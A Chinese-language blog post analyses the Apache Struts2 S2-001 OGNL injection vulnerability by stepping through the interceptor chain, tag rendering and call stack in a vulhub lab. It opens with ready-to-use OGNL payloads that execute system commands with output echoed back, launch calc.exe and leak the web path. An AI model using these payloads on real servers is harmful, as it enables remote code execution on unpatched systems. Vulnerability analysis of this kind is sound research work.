Java安全之S2-001漏洞分析

Java安全之S2-001漏洞分析

前言

好久没更新Java相关内容了,最近身体出了些小问题等各种原因导致有些时候无法沉心学习。忙里偷闲,炒个冷饭。

POC采集

回显poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{pwd})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

调试poc:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{calc.exe})).start()} 

获取web路径

%{ #[email protected]@getRequest(), #response=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() } 

漏洞分析

漏洞环境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

直接来看到漏洞点

<package name=S2-001 extends=struts-default>    <action name=login class=com.demo.action.LoginAction>       <result name=success>/welcome.jsp</result>       <result name=error>/index.jsp</result>    </action> </package> 

这里这个package继承了struts-default包,struts-default.xml是Struts 2 框架的基础配置文件,为框架提供默认设置,这个文件包含在Struts2-core.jar中,由框架自动加载。

在web.xml中会配置

<filter>         <filter-name>struts2</filter-name>         <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>     </filter>         <filter-mapping>         <filter-name>struts2</filter-name>         <url-pattern>/*</url-pattern>     </filter-mapping> 

org.apache.struts2.dispatcher.FilterDispatcher#doFilter调用this.dispatcher.serviceAction(request, response, servletContext, mapping);

serviceAction方法

image-20220418231512622

获取struts.xml的配置信息

image-20220418231809616

使用获取到的信息传入config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy进行创建action代理类

随后调用proxy.execute();进行执行

public String execute() throws Exception {     ActionContext previous = ActionContext.getContext();     ActionContext.setContext(this.invocation.getInvocationContext());      String var2;     try {         var2 = this.invocation.invoke();     } finally {         if (this.cleanupContext) {             ActionContext.setContext(previous);         }      }      return var2; } 

execute方法中调用this.invocation.invoke();,即调用前面获取到的action代理类的invoke方法。

遍历this.interceptors,即struts-default.xml 中配置的interceptors。

image-20220418233010716

这里会遍历调用interceptors里面的doIntercept方法。

漏洞在ParametersInterceptor中,ParametersInterceptor拦截器会将接收到的请求数据设置到valueStack里,后面在jsp中会从valueStack中获取数据

image-20220418225101157

直接来到ParametersInterceptor#doIntercept方法中。

public String doIntercept(ActionInvocation invocation) throws Exception {         Object action = invocation.getAction();         if (!(action instanceof NoParameters)) {             ActionContext ac = invocation.getInvocationContext();             Map parameters = ac.getParameters();             if (LOG.isDebugEnabled()) {                 LOG.debug(Setting params  + this.getParameterLogMap(parameters));             }              if (parameters != null) {                 Map contextMap = ac.getContextMap();                  try {                     OgnlContextState.setCreatingNullObjects(contextMap, true);                     OgnlContextState.setDenyMethodExecution(contextMap, true);                     OgnlContextState.setReportingConversionErrors(contextMap, true);                     ValueStack stack = ac.getValueStack();                     this.setParameters(action, stack, parameters);  

前面获取一些系列的action、参数和context等。

然后调用this.setParameters

protected void setParameters(Object action, ValueStack stack, Map parameters) {         ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;         Map params = null;         if (this.ordered) {             params = new TreeMap(this.getOrderedComparator());             params.putAll(parameters);         } else {             params = new TreeMap(parameters);         }          Iterator iterator = params.entrySet().iterator();          while(true) {             Map.Entry entry;             String name;             boolean acceptableName;             do {                 if (!iterator.hasNext()) {                     return;                 }                  entry = (Map.Entry)iterator.next();                 name = entry.getKey().toString();                 acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));             } while(!acceptableName);              Object value = entry.getValue();              try {                 stack.setValue(name, value); 

遍历获取到参数的Map,调用stack.setValue(name, value);

image-20220418233947792

所有的interceptors遍历完了过后,执行this.invokeActionOnly();

image-20220419001752600

DefaultActionInvocation#invokeAction()方法会反射调用action中的execute方法

image-20220419002006167

image-20220419002151306

执行回到invoke方法中,接着调用this.proxy.getExecuteResult()这个action是否有执行结果,然后调用this.executeResult();

image-20220419000419339

这里会对action的execute结果进行处理,在struts2中会配置

	<package name=S2-001 extends=struts-default> 		<action name=login class=com.demo.action.LoginAction> 			<result name=success>/welcome.jsp</result> 			<result name=error>/index.jsp</result> 		</action> 	</package> 

对执行返回success或error进行跳转到对应的jsp

image-20220419003312339

调用this.result.execute(this);

 public void execute(ActionInvocation invocation) throws Exception {         this.lastFinalLocation = this.conditionalParse(this.location, invocation);         this.doExecute(this.lastFinalLocation, invocation);     } 

调用this.doExecute(this.lastFinalLocation, invocation);

image-20220419003529567

后面这里会调用dispatcher.forward(request, response);进行转发

org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag中下断点,该方法会解析jsp中的struts标签。

<s:form action=login> 	<s:textfield name=username label=username /> 	<s:textfield name=password label=password /> 	<s:submit></s:submit> </s:form> 

第一次解析form标签

image-20220419004251958

第二次解析username标签

image-20220419004458727

执行完成后走到doEndTag方法

public int doEndTag() throws JspException {         this.component.end(this.pageContext.getOut(), this.getBody());         this.component = null;         return 6;     } 
public boolean end(Writer writer, String body) {         this.evaluateParams();          try {             super.end(writer, body, false);             this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));         } catch (Exception var7) {             LOG.error(error when rendering, var7);         } finally {             this.popComponentStack();         }          return false;     } 

调用 this.evaluateParams();

public void evaluateParams() {     this.addParameter(templateDir, this.getTemplateDir());     this.addParameter(theme, this.getTheme());     String name = null;     if (this.key != null) {         if (this.name == null) {             this.name = this.key;         }          if (this.label == null) {             this.label = %{getText(' + this.key + ')};         }     }      if (this.name != null) {         name = this.findString(this.name);         this.addParameter(name, name);     } 

image-20220419005810064

image-20220419005635557

org.apache.struts2.components#UIBean最下面有行代码

if (this.altSyntax()) {     expr = %{ + name + }; } 

如果this.altSyntax(),则拼接%{},这里this.altSyntax()是检查ongl表达式是否开启,开启的话拼接%{}直接使用表达式

image-20220419010408037

在第一遍执行的时候会expr为%username%会获取到我们username中对应的值。这里即表达式内容。

image-20220420004528033

当第二次执行到OgnlUtil.getValue(expr, this.context, this.root, asType);进行代码执行。

image-20220419011623060

image-20220418234200573

OgnlUtil.getValue方法的底层代码是用的Ognl.getValue

调用栈:

setParameters:193, ParametersInterceptor (com.opensymphony.xwork2.interceptor) doIntercept:159, ParametersInterceptor (com.opensymphony.xwork2.interceptor) intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:105, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:83, CheckboxInterceptor (org.apache.struts2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:207, FileUploadInterceptor (org.apache.struts2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:74, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:127, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:107, ProfilingActivationInterceptor (org.apache.struts2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:206, DebuggingInterceptor (org.apache.struts2.interceptor.debugging) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:115, ChainingInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:143, I18nInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) doIntercept:121, PrepareInterceptor (com.opensymphony.xwork2.interceptor) intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:170, ServletConfigInterceptor (org.apache.struts2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor) doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2) doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2) profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling) invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) execute:50, StrutsActionProxy (org.apache.struts2.impl) serviceAction:504, Dispatcher (org.apache.struts2.dispatcher) doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:543, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:367, CoyoteAdapter (org.apache.catalina.connector) service:639, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1647, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang) 

结尾

注意多喝热水,以防肾结石。